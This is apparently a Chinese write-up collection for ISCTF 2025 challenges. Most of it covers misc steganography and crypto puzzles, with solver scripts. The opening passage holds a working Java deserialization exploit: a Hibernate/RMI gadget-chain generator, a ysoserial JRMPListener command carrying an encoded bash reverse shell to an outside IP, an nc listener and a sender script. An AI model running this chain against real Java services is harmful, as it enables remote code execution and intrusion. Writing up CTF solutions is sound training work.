        Class<?> componentTypeClass = Class.forName("org.hibernate.type.ComponentType");  
        Class<?> pojoComponentTuplizerClass =  
                Class.forName("org.hibernate.tuple.component.PojoComponentTuplizer");  
        Class<?> abstractComponentTuplizerClass =  
                Class.forName("org.hibernate.tuple.component.AbstractComponentTuplizer");  
        Class<?> hibernateTypeInterface = Class.forName("org.hibernate.type.Type");  
        Class<?> typedValueClass = Class.forName("org.hibernate.engine.spi.TypedValue");  
  
        ObjID objID = new ObjID(new Random().nextInt());  
  
        Class<?> tcpEndpointClass = Class.forName("sun.rmi.transport.tcp.TCPEndpoint");  
        Constructor<?> teCtor = tcpEndpointClass.getDeclaredConstructor(String.class, int.class);  
        teCtor.setAccessible(true);  
        Object tcpEndpoint = teCtor.newInstance(RMI_HOST, RMI_PORT);  
  
        Class<?> endpointClass = Class.forName("sun.rmi.transport.Endpoint");  
        Class<?> liveRefClass = Class.forName("sun.rmi.transport.LiveRef");  
        Constructor<?> liveRefCtor =  
                liveRefClass.getDeclaredConstructor(ObjID.class, endpointClass, boolean.class);  
        liveRefCtor.setAccessible(true);  
        Object liveRef = liveRefCtor.newInstance(objID, tcpEndpoint, false);  
  
        Class<?> unicastRefClass = Class.forName("sun.rmi.server.UnicastRef");  
        Constructor<?> unicastRefCtor = unicastRefClass.getDeclaredConstructor(liveRefClass);  
        unicastRefCtor.setAccessible(true);  
        Object unicastRef = unicastRefCtor.newInstance(liveRef);  
  
        RemoteRef remoteRef = (RemoteRef) unicastRef;  
        RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(remoteRef);  
  
        Object proxy = java.lang.reflect.Proxy.newProxyInstance(  
                ClassLoader.getSystemClassLoader(),  
                new Class[]{Remote.class, Activator.class},  
                handler  
        );  
  
        ActivationID activationID = new ActivationID((Activator) proxy);  
  
        Class<?> activatableRefClass = Class.forName("sun.rmi.server.ActivatableRef");  
        Object activatableRef = allocateWithoutConstructor(activatableRefClass);  
  
        setField(activatableRef, "id", activationID);  
  
        Method getRefMethod = activatableRefClass.getDeclaredMethod("getRef");  
        getRefMethod.setAccessible(true);  
  
        Object getter;  
        try {  
            Class<?> getterImpl =  
                    Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");  
            Constructor<?> ctor = getterImpl.getDeclaredConstructors()[0];  
            ctor.setAccessible(true);  
            getter = ctor.newInstance(null, null, getRefMethod);  
        } catch (Throwable t) {  
            Class<?> basicGetter =  
                    Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");  
            Constructor<?> ctor =  
                    basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);  
            ctor.setAccessible(true);  
            getter = ctor.newInstance(activatableRefClass, getRefMethod, "ref");  
        }  
  
        Object tuplizer = allocateWithoutConstructor(pojoComponentTuplizerClass);  
  
        Field gettersField = abstractComponentTuplizerClass.getDeclaredField("getters");  
        gettersField.setAccessible(true);  
        Object gettersArray = Array.newInstance(getter.getClass(), 1);  
        Array.set(gettersArray, 0, getter);  
        gettersField.set(tuplizer, gettersArray);  
  
        Object componentType = allocateWithoutConstructor(componentTypeClass);  
  
        setField(componentType, "componentTuplizer", tuplizer);  
        setField(componentType, "propertySpan", 1);  
  
        Object typeArray = Array.newInstance(hibernateTypeInterface, 1);  
        Array.set(typeArray, 0, componentType);  
        setField(componentType, "propertyTypes", typeArray);  
  
        Constructor<?> typedValueCtor =  
                typedValueClass.getDeclaredConstructor(hibernateTypeInterface, Object.class);  
        typedValueCtor.setAccessible(true);  
        Object typedValue = typedValueCtor.newInstance(componentType, null);  
  
        HashMap<Object, Object> map = new HashMap<Object, Object>();  
        map.put(typedValue, "value");  
        setField(typedValue, "value", activatableRef);  
  
        ByteArrayOutputStream baos = new ByteArrayOutputStream();  
        ObjectOutputStream oos = new ObjectOutputStream(baos);  
        oos.writeObject(map);  
        oos.close();  
  
        byte[] payloadBytes = baos.toByteArray();  
        String b64 = Base64.getEncoder().encodeToString(payloadBytes);  
        System.out.println(b64);  
  
    }  
  
    private static void setField(Object target, String fieldName, Object value) throws Exception {  
        Class<?> c = target.getClass();  
        Field f = null;  
        while (c != null) {  
            try {  
                f = c.getDeclaredField(fieldName);  
                break;  
            } catch (NoSuchFieldException e) {  
                c = c.getSuperclass();  
            }  
        }  
        if (f == null) {  
            throw new NoSuchFieldException(fieldName);  
        }  
        f.setAccessible(true);  
        f.set(target, value);  
    }  
  
    private static Object allocateWithoutConstructor(Class<?> clazz) throws Exception {  
        Field f = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");  
        f.setAccessible(true);  
        sun.misc.Unsafe unsafe = (sun.misc.Unsafe) f.get(null);  
        return unsafe.allocateInstance(clazz);  
    }  
}

将ExploitGenerator.java上传至vps,java8进行编译ExploitGenerator.class

javac -cp n1ght_web-1.0-SNAPSHOT-jar-with-dependencies.jar ExploitGenerator.java

将生成的payload写入payload.b64

java -cp .:n1ght_web-1.0-SNAPSHOT-jar-with-dependencies.jar ExploitGenerator > payload.b64

避免引号解析问题:

wget -q https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

一个vps终端进行监听

 nc -lvvp 8001


另开一个vps终端进行启动 JRMPListener

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 27001 CommonsCollections6 \
  'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4yMzguMjI3LjIzNS84MDAxIDA+JjE=}|{base64,-d}|{bash,-i}'


本机发送脚本

#!/usr/bin/env python3  
import argparse  
import base64  
import requests  
  
DEFAULT_PATH = "/api/echo"  
  
parser = argparse.ArgumentParser()  
parser.add_argument("--host", default="challenge.imxbt.cn", help="target host (default: challenge.bluesharkinfo.com)")  
parser.add_argument("--port", type=int, default=30981, help="target port (default: 24018)")  
parser.add_argument("--file", default="payload_hib.bin", help="payload file to send (default payload_hib.bin)")  
parser.add_argument("--insecure", action="store_true", help="do not verify TLS (if using https)")  
args = parser.parse_args()  
  
url = f"http://{args.host}:{args.port}{DEFAULT_PATH}"  
print(f"Target URL: {url}")  
  
with open(args.file, "rb") as f:  
    data = f.read()  
  
b64 = base64.b64encode(data).decode()  
headers = {  
    "echo": b64,  
    "Pass": "n1giU",  
}  
  
print(f"Sending payload file {args.file} ({len(data)} bytes) in header 'echo' with Pass: n1giU")  
resp = requests.post(url, headers=headers, timeout=10, verify=not args.insecure)  
print(f"HTTP {resp.status_code} - {resp.reason}")  
print("Response body:\n", resp.text)


misc

湖心亭看雪

Title

出题人:f1@g
院校:信阳师范大学
难度:简单
题目描述:
张岱在“雪”景中有感而发

Idea
下载附件有一个test.py和一个jpg图片

a = b'*********' #这个东西你以后要用到  
b = b'blueshark' c = bytes([x ^ y for x, y in zip(a, b)])  
print(c.hex())  
#c = 53591611155a51405e

注释中说这个a的值以后会用到,我们先把他解出来
test.py就是 一段异或xor,利用 a = c ^ b 可还原出 a

b = b'blueshark'  
c = bytes.fromhex('53591611155a51405e')  
print(bytes([x ^ y for x, y in zip(c, b)]))  
  
#b'15ctf2025'

解出15ctf2025
010Editor分析发现jpg中有flag.txt文件

但通过Binwalk和foremost提取都没有提取处flag.txt,看图片中PK,那应该就是有压缩包,压缩包头的16进制50 4B 03 04,ctrl+F搜索没找到

往前翻,发现一处地方好像被修改过

50 03 FF D9改为50 4B 03 04,再通过Binwalk分离可得到一个加密的压缩包

前面我们解出了一个值15ctf2025就是压缩包的密码
打开flag.txt,并没有flag,但我们看见看见很多空的字符

题目和题目描述都有,暗示snow雪花隐写,密钥依旧是15ctf2025

Guess!

Title

出题人:墨斐斐
院校:河南师范大学
难度:简单
题目描述:
这是一个经典的猜数字,开始你的数字解密之旅吧!

Idea
打开附件是一个exe程序,运行一下,一个猜数字的小游戏

二分查找法

ISCTF{9ueSs_thE_@n$weR}

阿利维亚的传说

Title

出题人:墨斐斐
院校:河南师范大学
难度:简单
题目描述:
你知道阿利维亚的传说吗

Idea
附件是一个docx文件和一个png图片
打开docx,flag有三段

查看字体发现有隐藏字体

发现谕言1:

谕言1:
V=Dortt
A=otuTa
N=NTsin


对png图片进行Stegsolve进行LSB隐写分析,发现有可疑字符串
41a0aa4e69e493f0ad673401794fe111_MD5

6LCV6KiAMjoKVz1Ib2VpaApIPW91VGdvCmw9cE1oaGkKTD1lYWV0YwpFPVlrckNl

base64解密得到谕言2:

谕言2:
W=Hoeih
H=ouTgo
l=pMhhi
L=eaetc
E=YkrCe

对png图片进行分析,发现有一个flag3.txt

Binwalk进行文件分离,得到一个加密的压缩包文件
进行密码爆破,得到压缩包密码:8652

打开flag3.txt得到谕言3:

谕言3:
T=FMfr
R=iytY
U=nGFo
E=diou

根据三份谕言:

谕言1:
V=Dortt
A=otuTa
N=NTsin
谕言2:
W=Hoeih
H=ouTgo
l=pMhhi
L=eaetc
E=YkrCe
谕言3:
T=FMfr
R=iytY
U=nGFo
E=diou

竖着拼写发现可组成有意义的英文单词:

VAN WHlLE TRUE

等号右边也使用同样的方法,即:
DoNotTrustTitan HopeYouMakeTherightChoice FindMyGiftForYou

ISCTF{DoNotTrustTitan_HopeYouMakeTherightChoice_FindMyGiftForYou}

小蓝鲨的神秘文件

Title

出题人:小蓝鲨本鲨
院校:无
难度:简单
题目描述:
小蓝鲨最近在和它的朋友聊一些小秘密,你能找出他们在聊什么吗?

Idea
附件是一个ChsPinyinUDL.dat文件
010Editor进行分析,编码改为unicode,小端序

弗莱格(flag)官网的新闻福州蓝鲨信息技术有限公司新闻动态
前往福州蓝鲨信息技术有限公司的官网,新闻动态

发现flag

ISCTF{我要和小蓝鲨组一辈子CTF战队}

美丽的风景照

Title

出题人:玫幽倩
院校:上海公安学院
难度:简单
题目描述:做题做累了吧,来看看风景吧!
HINT1:按照彩虹颜色排序试试看
HINT2:这照片里的古建筑上怎么写个明光大正”“那是正大光明,古风都是倒着来的

Idea
附件是一个gif文件,先进行分帧,得到七张图片

我们能发现每一张图片的主色调都不一样,红、蓝、黄、绿、橙、紫、青(青花瓷)
每张图片中,我们你发现一段编码

对应图片顺序0-6
jqW2
ZXw8T
7HLo8
6yRWh
Dg2C
98Mz
3CaEk

6.png中有一个二维码,扫描后,是一个假的flag

根据hint2,这照片里的古建筑上怎么写个明光大正”“那是正大光明,古风都是倒着来的,将有古风元素的图片中的编码进行倒叙

对应图片顺序0-6
2Wqj      反
ZXw8T     正
7HLo8     正
6yRWh     正
C2gD      反
98Mz      正
kEaC3     反

根据hint1,彩虹颜色排序(红、橙、黄、绿、青、蓝、紫,0-4-2-3-6-1-5)

98Mz
C2gD
7HLo8
6yRWh
kEaC3
ZXw8T
98Mz

2WqjC2gD7HLo86yRWhKEaC3ZXw8T98Mz

base58解密得到flag

ISCTF{H0w_834u71fu1!!!}

星髓宝盒

Title

出题人:来杯冰美式!
院校:周口职业技术学院
难度:简单
题目描述:
"什么什么什么,,,你竟然不知道什么是星髓宝盒!!!
星髓宝盒里的flag是只能留给优秀学生的奖励,优秀学生自会知道它的咒语!!!"

Idea
打开附件是一张png图片
Binwalk分离得到一个压缩包

放flag的压缩包需要输入密码

打开txt文件,有大量的文本

通过文本隐水印解密

得到密文,放入txt文件中,发现显示的列数和文本的列数明显不相符

通过vscode打开文本,确定存在零宽字符隐写


零宽字符解密得到一个32位的字符
对字符进行16进制转字符串,发现无果,刚刚压缩包中还有一张jpg图片,现在对其进行分析

用010Editor打开,我们能发现一个网址,http://www.somd5.com
打开这个网址,是一个md5查找的在线网站

刚刚解出来的是一个32位的字符串,刚好符号32位md5值的特征,输入到这个网址中进行解密

解密出来得到

!!!@@@###123

将这个字符串作为加密压缩包的密码,打开flag.txt得到flag

ISCTF{1e7553787953e74113be4edfe8ca0e59}

木林森

Title

出题人:来杯冰美式!
院校:周口职业技术学院
难度:简单
题目描述:
"聪明的你,截获了来自木林森这个间谍组织发送的加密通信内容,请特别注意他们的神秘标记!!!!
其中还有被破坏没有拦截成功的密文,你凭借记忆依稀只记得:""Ron's Code For...?"",请解开通信内容,获取flag"

Idea
打开附件,看到一大串疑似base64字符的编码

base64转图片1.png,得到一张二维码

扫描二维码得到:

20000824


将二维码进行foremost分离出来一张png图片和一张jpg图片
png图片就是这个二维码:

jpg图片的内容是社会主义价值观:

社会主义价值观解密得到:

....Mamba....

在附件的原始base编码中的末尾,我们发现有一个由@进行分隔出来的字符串

MzFFRTlBQjJERjEwNEVFNjk1ODI0NTc5MTQwQURGMzk0NzJCRUIzMzE2Q0YxMTlBNjFBMkNDNDYwNTIzQjA2MThDNzk0QTkzNEFGRjNCOTBGNEUwMzY=

进行base64解密得到一段密文

31EE9AB2DF104EE695824579140ADF39472BEB3316CF119A61A2CC460523B0618C794A934AFF3B90F4E036

再注意看题目描述中提到的Ron's Code For...?,网上搜一下也可以知道,这是提示RC4解密
也就是说

31EE9AB2DF104EE695824579140ADF39472BEB3316CF119A61A2CC460523B0618C794A934AFF3B90F4E036
密文

20000824和....Mamba....进行组合成2000Mamba0824
密钥

RC4解密得到flag

ISCTF{590CF439-E304-4E27-BE45-49CC7B02B3F3}

冲刺!偷摸零!

Title

出题人:KanaDE
院校:平顶山学院
难度:简单
题目描述:
小蓝鲨的实训作业......但似乎漏洞百出?(Flag有两段)
hint:jar包里的东西也要看一眼

Idea
附件是一个jar包
使用jadx对jar进行分析,发现有一个ctf.db。将其提取出来打开
发现PART1:ISCTF{Tom0R1_Dash

com.qf.run 包下的GameOverView 类中发现有一段解码数据

encrypted = [5, 20, 7, 1, 103, 111, 10, 18, 32, 18, 32, 10, 18, 20, 18, 20, 116, 116, 40]  
  
bytes = [byte ^ 85 for byte in encrypted]  
text = ''.join(chr(b) for b in bytes)  
  
print(text)  
  
#PART2:_GuGu_GAGA!!}

ISCTF{Tom0R1_Dash_GuGu_GAGA!!}

消失的flag

Title

出题人:秋雨样
院校:江西财经大学
难度:简单
题目描述:
"咦?我flag呢,我不是输出了么?
用户名:qyy
无密码"

Idea
ssh 连接一下靶机

ssh -p 20525 qyy@challenge.bluesharkinfo.com


连接上来就立马关闭了
使用OpenSSH 客户端带 -vvv 调试连接观察认证过程:





从调试输出可以看到服务器接受 none 认证并建立了会话
这显然是一道ssh认证题目

  • 用程序快速自动化建立 SSH 连接并尝试 auth_none,然后如果可以成功打开 session 就立即读取 session 输出缓冲区。因为很多服务只在连接时短暂输出内容(welcome/banner、临时凭证、flag)。
    exp
#!/usr/bin/env python3  
import socket  
import time  
import re  
import paramiko  
  
HOST = 'challenge.imxbt.cn'  
PORT = 31548  
USER = 'qyy'  
TRIES = 20  
DELAY = 0.5  
  
FLAG_RE = re.compile(r"FLAG\{.*?\}|flag\{.*?\}|\b[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}\b", re.I)  
  
  
def try_capture_once(timeout=6, recv_timeout=2.0):  
    try:  
        with socket.create_connection((HOST, PORT), timeout=timeout) as sock:  
            t = paramiko.Transport(sock)  
            t.start_client(timeout=timeout)  
            try:  
                t.auth_none(USER)  
            except Exception:  
                pass  
  
            captured = ''  
            try:  
                chan = t.open_session(timeout=timeout)  
                chan.get_pty()  
                chan.invoke_shell()  
                chan.settimeout(recv_timeout)  
                while True:  
                    try:  
                        data = chan.recv(4096)  
                        if not data:  
                            break  
                        captured += data.decode('utf-8', errors='replace')  
                    except socket.timeout:  
                        break  
            except Exception:  
                pass  
            finally:  
                try:  
                    chan.close()  
                except Exception:  
                    pass  
                try:  
                    t.close()  
                except Exception:  
                    pass  
  
            return captured  
    except Exception as e:  
        return f'connection error: {e}'  
  
  
def main():  
    for i in range(1, TRIES + 1):  
        captured = try_capture_once()  
        size = len(captured) if isinstance(captured, str) else 0  
        print(f'Attempt {i}: {size} bytes')  
        if captured:  
            print(captured)  
        m = FLAG_RE.search(captured or '')  
        if m:  
            print('\nFLAG:', m.group(0))  
            return  
        time.sleep(DELAY)  
    print('\nNo flag after', TRIES, 'attempts')  
  
  
if __name__ == '__main__':  
    main()

Miscrypto

Title

出题人:玫幽倩
院校:上海公安学院
难度:简单
题目描述:
这是misc题对吧?。。。对吧?

Idea
附件:

费马.py

#这是一道费马,对  
  
from Crypto.Util.number import *  
flag = b'ISCTF{}'  
n = p*q  
phi = (p-1)*(q-1)  
m = bytes_to_long(flag)  
c = pow(m, e, n)  
e = 65537  
  
#n=  
#c=  
#?但都不给要我怎么做啊!

我们不知道n和c的值,明显是从另外两个附件来找

BrainFuck解密得到n

将c.png放入010Editor进行分析,文件末尾发现:
CDABGHEFKLIJOPMNSTQRWXUVabYZefcdijghmnklqropuvstyzwx23016745+/89
像是base64换表
对c.png进行foremost,分离出两张不一样的图片,找到c.png中两张图片的连接处
发现一段字符串

用前面文件末尾找到的替换表进行换表base64解码,转16进制操作

现在我们找到了n和c

from Crypto.Util.number import *  
flag = b'ISCTF{}'  
n = p*q  
phi = (p-1)*(q-1)  
m = bytes_to_long(flag)  
c = pow(m, e, n)  
e = 65537  
  
#n=  7644027341241571414254539033581025821232019860861753472899980529695625198016019462879314488666454640621660011189097660092595699889727595925351737140047609
#c=  7551149944252504900886507115675974911138392174398403084481505554211619110839551091782778656892126244444160100583088287091700792873342921044046712035923917

通过费马分解,很快能将n分解,求得qp
然后就是简单的RSA
exp

import gmpy2  
from Crypto.Util.number import long_to_bytes  
  
n = 7644027341241571414254539033581025821232019860861753472899980529695625198016019462879314488666454640621660011189097660092595699889727595925351737140047609  
c = 7551149944252504900886507115675974911138392174398403084481505554211619110839551091782778656892126244444160100583088287091700792873342921044046712035923917  
e = 65537  
  
def fermat_factor(n):  
    a = gmpy2.isqrt(n)  
    while True:  
        b2 = a * a - n  
        if gmpy2.is_square(b2):  
            b = gmpy2.isqrt(b2)  
            return a + b, a - b  
        a += 1  
  
p, q = fermat_factor(n)  
phi = (p - 1) * (q - 1)  
d = gmpy2.invert(e, phi)  
m = pow(c, d, n)  
print(long_to_bytes(m))

#b'ISCTF{M15c_10v3_Cryp70}'

ISCTF{M15c_10v3_Cryp70}

怎么这也能掉链子

Title

出题人:n1tro
院校:山东政法学院
难度:简单
题目描述:
老师布置了个修复fat32文件系统磁盘的作业,给了磁盘恢复工具的同时又给了静谧之眼,优秀的小蓝鲨能发现被破坏的地方以及藏在里面的信息吗?

Idea
附件是一个vmdk文件,用7z打开能发现一张图片

但是解压时,会出现数据错误的报错
打开火眼取证分析

资源管理器中可直接预览到完整的图片(这里也可以使用foremost或手工提取图片)

在$FAT2中,我们能发现一段字符串

oh you find it:EWNVT{R@X32_nanx5d5pix}
明显EWNVT{R@X32_nanx5d5pix}就是密文


题目中提到的根据有静谧之眼,也就是SilentEye工具,我们打开图片,尝试解密,得到密钥welcomeisctf


维吉尼亚解密得到

ISCTF{F@T32_file5y5tem}

The truth of the pixel

Title

出题人:Alexander
院校:江西警察学院
难度:简单
题目描述:
I know you understand the pixel is very powerful, or let's have a showdown?

Idea
这题比赛的时候没做出来,misc不是很精,也算是学到新东西了
附件是一个加密的压缩包,爆破一下

得到解压密码:123456

一张png图片

题目和题目描述都提到了像素,也就是LSB了
stegsolve发现0通道存在隐写数据

lsb的aes加密,clockedpixel隐写
livz/cloacked-pixel:最低限度隐写与检测
但我们不知道密码,进行爆破
crypt.py:

import hashlib  
from Crypto import Random  
from Crypto.Cipher import AES  
  
'''  
Updated for Python 3  
Original concept: http://stackoverflow.com/questions/12524994/encrypt-decrypt-using-pycrypto-aes-256  
'''  
  
  
class AESCipher:  
  
    def __init__(self, key):  
        self.bs = 32  
        self.key = hashlib.sha256(key.encode()).digest()  
  
    def encrypt(self, raw):  
        """  
        raw: 传入的必须是 bytes 类型数据  
        """        if isinstance(raw, str):  
            raw = raw.encode()  
  
        raw = self._pad(raw)  
        iv = Random.new().read(AES.block_size)  
        cipher = AES.new(self.key, AES.MODE_CBC, iv)  
        return iv + cipher.encrypt(raw)  
  
    def decrypt(self, enc):  
        """  
        enc: 传入的是包含 IV 的 bytes        """        iv = enc[:AES.block_size]  
        cipher = AES.new(self.key, AES.MODE_CBC, iv)  
        decrypted = cipher.decrypt(enc[AES.block_size:])  
        return self._unpad(decrypted)  
  
    def _pad(self, s):  
        padding_len = self.bs - (len(s) % self.bs)  
        padding = bytes([padding_len]) * padding_len  
        return s + padding  
  
    @staticmethod  
    def _unpad(s):  
        padding_len = s[-1]  
        return s[:-padding_len]

lsb.py:

import sys  
import struct  
import numpy  
import matplotlib.pyplot as plt  
from PIL import Image  
from crypt import AESCipher  
  
  
def decompose(data):  
    v = []  
  
    fSize = len(data)  
    bytes_data = list(struct.pack("i", fSize))  
  
    bytes_data.extend(list(data))  
  
    for b in bytes_data:  
        for i in range(7, -1, -1):  
            v.append((b >> i) & 0x1)  
  
    return v  
  
  
def assemble(v):  
    bytes_arr = bytearray()  
  
    length = len(v)  
    for idx in range(0, length // 8):  
        byte = 0  
        for i in range(0, 8):  
            if (idx * 8 + i < length):  
                byte = (byte << 1) + v[idx * 8 + i]  
        bytes_arr.append(byte)  
  
    payload_size = struct.unpack("i", bytes_arr[:4])[0]  
  
    return bytes(bytes_arr[4: payload_size + 4])  
  
  
def set_bit(n, i, x):  
    mask = 1 << i  
    n &= ~mask  
    if x:  
        n |= mask  
    return n  
  
def embed(imgFile, payload, password):  
    # Process source image  
    img = Image.open(imgFile)  
    (width, height) = img.size  
    conv = img.convert("RGBA").getdata()  
    print("[*] Input image size: %dx%d pixels." % (width, height))  
    max_size = width * height * 3.0 / 8 / 1024  
    print("[*] Usable payload size: %.2f KB." % (max_size))  
  
    f = open(payload, "rb")  
    data = f.read()  
    f.close()  
    print("[+] Payload size: %.3f KB " % (len(data) / 1024.0))  
  
    cipher = AESCipher(password)  
    data_enc = cipher.encrypt(data)  
  
    v = decompose(data_enc)  
  
    while (len(v) % 3):  
        v.append(0)  
  
    payload_size = len(v) / 8 / 1024.0  
    print("[+] Encrypted payload size: %.3f KB " % (payload_size))  
    if (payload_size > max_size - 4):  
        print("[-] Cannot embed. File too large")  
        sys.exit()  
  
    steg_img = Image.new('RGBA', (width, height))  
  
    idx = 0  
  
    for h in range(height):  
        for w in range(width):  
            (r, g, b, a) = conv.getpixel((w, h))  
            if idx < len(v):  
                r = set_bit(r, 0, v[idx])  
                g = set_bit(g, 0, v[idx + 1])  
                b = set_bit(b, 0, v[idx + 2])  
            steg_img.putpixel((w, h), (r, g, b, a))  
            idx = idx + 3  
  
    steg_img.save(imgFile + "-stego.png", "PNG")  
  
    print("[+] %s embedded successfully!" % payload)  
  
def extract(in_file, out_file, password):  
    # Process source image  
    img = Image.open(in_file)  
    (width, height) = img.size  
    conv = img.convert("RGBA").getdata()  
    print("[+] Image size: %dx%d pixels." % (width, height))  
  
    # Extract LSBs  
    v = []  
    for h in range(height):  
        for w in range(width):  
            (r, g, b, a) = conv.getpixel((w, h))  
            v.append(r & 1)  
            v.append(g & 1)  
            v.append(b & 1)  
  
    data_out = assemble(v)  
  
    # Decrypt  
    cipher = AESCipher(password)  
    data_dec = cipher.decrypt(data_out)  
  
    # Write decrypted data  
    out_f = open(out_file, "wb")  
    out_f.write(data_dec)  
    out_f.close()  
  
    print("[+] Written extracted data to %s." % out_file)  
  
  
def analyse(in_file):  
    '''  
    - Split the image into blocks.    - Compute the average value of the LSBs for each block.    - The plot of the averages should be around 0.5 for zones that contain      hidden encrypted messages (random data).    '''    BS = 100  
    img = Image.open(in_file)  
    (width, height) = img.size  
    print("[+] Image size: %dx%d pixels." % (width, height))  
    conv = img.convert("RGBA").getdata()  
  
    # Extract LSBs  
    vr = []  # Red LSBs  
    vg = []  # Green LSBs  
    vb = []  # LSBs  
    for h in range(height):  
        for w in range(width):  
            (r, g, b, a) = conv.getpixel((w, h))  
            vr.append(r & 1)  
            vg.append(g & 1)  
            vb.append(b & 1)  
  
    # Average colours' LSB per each block  
    avgR = []  
    avgG = []  
    avgB = []  
    for i in range(0, len(vr), BS):  
        avgR.append(numpy.mean(vr[i:i + BS]))  
        avgG.append(numpy.mean(vg[i:i + BS]))  
        avgB.append(numpy.mean(vb[i:i + BS]))  
  
    # Nice plot  
    numBlocks = len(avgR)  
    blocks = [i for i in range(0, numBlocks)]  
    plt.axis([0, len(avgR), 0, 1])  
    plt.ylabel('Average LSB per block')  
    plt.xlabel('Block number')  
    plt.plot(blocks, avgB, 'bo')  
  
    plt.show()  
  
  
def usage(progName):  
    print("LSB steganogprahy. Hide files within least significant bits of images.\n")  
    print("Usage:")  
    print("  %s hide <img_file> <payload_file> <password>" % progName)  
    print("  %s extract <stego_file> <out_file> <password>" % progName)  
    print("  %s analyse <stego_file>" % progName)  
    sys.exit()  
  
  
if __name__ == "__main__":  
    if len(sys.argv) < 3:  
        usage(sys.argv[0])  
  
    if sys.argv[1] == "hide":  
        embed(sys.argv[2], sys.argv[3], sys.argv[4])  
    elif sys.argv[1] == "extract":  
        extract(sys.argv[2], sys.argv[3], sys.argv[4])  
    elif sys.argv[1] == "analyse":  
        analyse(sys.argv[2])  
    else:  
        print("[-] Invalid operation specified")

clockedpixel.py:

import threading  
from queue import Queue  
from Crypto.Cipher import AES  
from lsb import assemble  
from PIL import Image  
import hashlib  
from Crypto import Random  
from Crypto.Util.number import long_to_bytes  
import sys  
  
  
class AESCipher:  
    def __init__(self, key):  
        self.bs = 32  # Block size  
        if isinstance(key, str):  
            key = key.encode()  
        self.key = hashlib.sha256(key).digest()  # 32 bit digest  
  
    def encrypt(self, raw):  
        raw = self.pad(raw)  
        iv = Random.new().read(AES.block_size)  
        cipher = AES.new(self.key, AES.MODE_CBC, iv)  
        return iv + cipher.encrypt(raw)  
  
    def decrypt(self, enc):  
        iv = enc[:AES.block_size]  
        cipher = AES.new(self.key, AES.MODE_CBC, iv)  
        message = cipher.decrypt(enc[AES.block_size:])  
        return self.unpad(message)  
  
    def pad(self, s):  
        padding = self.bs - len(s) % self.bs  
        return s + bytes([padding]) * padding  
  
    @staticmethod  
    def unpad(s):        
        try:  
            padding_len = s[-1]  
            if padding_len > 32 or padding_len == 0:  
                return s  
            return s[:-padding_len]  
        except:  
            return s  
  
  
def aes_brute_force(key, ciphertext):  
    try:  
        cipher = AESCipher(key)  
        decrypted_bytes = cipher.decrypt(ciphertext)  
  
        try:  
            data_dec = decrypted_bytes.decode('utf-8')  
        except UnicodeDecodeError:  
            data_dec = decrypted_bytes.decode('utf-8', errors='ignore')  
  
            print(f"\n[!] 发现正确密钥: {key}")  
            print(f"[!] 明文内容: {data_dec}")  
            return True  
        return False    except Exception as e:  
        return False  
  
  
def worker(ciphertext, queue):  
    while not queue.empty():  
        try:  
            key = queue.get(timeout=1)  
            if aes_brute_force(key, ciphertext):  
                with queue.mutex:  
                    queue.queue.clear()
                break  
            queue.task_done()  
        except:  
            break  
  
  
def main():  
    print("[*] 开始处理图片...")  
    try:  
        img = Image.open("challenge.png")  
    except FileNotFoundError:  
        print("[-] 未找到 challenge.png")  
        return  
  
    (width, height) = img.size  
    conv = img.convert("RGBA").getdata()  
    print("[+] Image size: %dx%d pixels." % (width, height))  
  
    v = []  
    print("[*] 提取 LSB 数据中...")  
    for h in range(height):  
        for w in range(width):  
            (r, g, b, a) = conv.getpixel((w, h))  
            v.append(r & 1)  
            v.append(g & 1)  
            v.append(b & 1)  
  
    try:  
        data_out = assemble(v)  
        print(f"[+] 提取出加密数据长度: {len(data_out)} bytes")  
    except Exception as e:  
        print(f"[-] LSB 数据组装失败: {e}")  
        return  
  
    dic_path = "./rockyou.txt"  
    print(f"[*] 加载字典: {dic_path}")  
    try:  
            keys = f.read().split("\n")  
    except FileNotFoundError:  
        print(f"[-] 未找到字典文件 {dic_path}")  
        return  
  
    ciphertext = data_out  
    queue_obj = Queue()  
   
    for key in keys:  
        if key:
            queue_obj.put(key)  
  
    print("[*] 开始爆破...")  
  
    num_threads = 8  
    threads = []  
  
    for _ in range(num_threads):  
        thread = threading.Thread(target=worker, args=(ciphertext, queue_obj))  
        thread.daemon = True  
        thread.start()
        threads.append(thread)  
  
    for thread in threads:  
        thread.join()  
  
    print("[*] 任务结束")  
  
if __name__ == "__main__":  
    main()

Abnormal log

Title

出题人:Alexander
院校:江西警察学院
难度:中等
题目描述:
一名hacker对小蓝鲨正在值守的服务器发起大量攻击,索性被工作人员及时拦截下来,得到一份日志信息,这份日志隐藏什么秘密.(请将得到的flag用ISCTF{}包裹)

Idea
打开附件,是一份日志文件
经过分析,每红框内的可以看成一组数据。

[2025-09-11 20:48:36] [INFO] Attacker uploading segment 1...
#“segment 1” 表示分第一个数据分片,编号为1
[2025-09-11 21:13:44] [DEBUG] Random data injected: AgtACjmKmUOcEBNRRfNd
#AgtACjmKmUOcEBNRRfNd是攻击者注入的一段随机数据用于混淆或填充数据包,绕过一些大小限制和特定解析检测
[2025-09-11 20:27:35] [INFO] File data segment: 327fb9aa22190501dfbff187e8080505050505055f05050505050505342d9d79
#上传的实际文件数据分片内容。采用的16进制
[2025-09-11 20:30:46] [ERROR] Upload failure, retrying...
#上传操作失败,并触发重试机制
[2025-09-11 20:54:16] [INFO] Uploaded data: ypJNwHwHVnqWHfzohX4s
#记录成功上传的一段数据
[2025-09-11 21:01:09] [DEBUG] Connection unstable, retrying upload...
#记录上传过程中网络连接不稳定,并触发重试
[2025-09-11 21:22:37] [INFO] Uploading...
#上传操作正在进行中
[2025-09-11 21:05:37] [WARNING] Unexpected system response, continuing...
#记录目标系统返回了非预期的响应,但攻击者未终止操作,选择继续上传


总共上传了116个片段,我们只需要将上传的内容片段拼接起来就可以了,也就是[INFO] File data segment: 后的数据
将拼接后的16进制数据放入010Editor中分析,分辨不出来是什么文件

数据肯定是被混淆了,我们截取第一个片段的数据进行分析
发现第一个片段的数据进行xor异或0x05时,检测处7zip头

对数据进行xor异或,得到一个7z压缩包
打开压缩包有一张放有flag的图片

